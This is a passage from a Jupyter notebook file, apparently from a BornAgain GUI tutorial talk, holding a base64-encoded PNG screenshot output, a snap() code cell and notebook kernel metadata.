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\nqeYAAAAASUVORK5CYII=\n" }, "output_type": "display_data", "metadata": {} } ], "source": [ "snap()" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "" ] } ], "metadata": { "kernelspec": { "display_name": "IDA32", "language": "python", "name": "ida32" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2.0 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.10" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

waltervh/BornAgain-tutorial

talks/day_1/gui_basics_1_M/GUI_overview.ipynb

2

10045

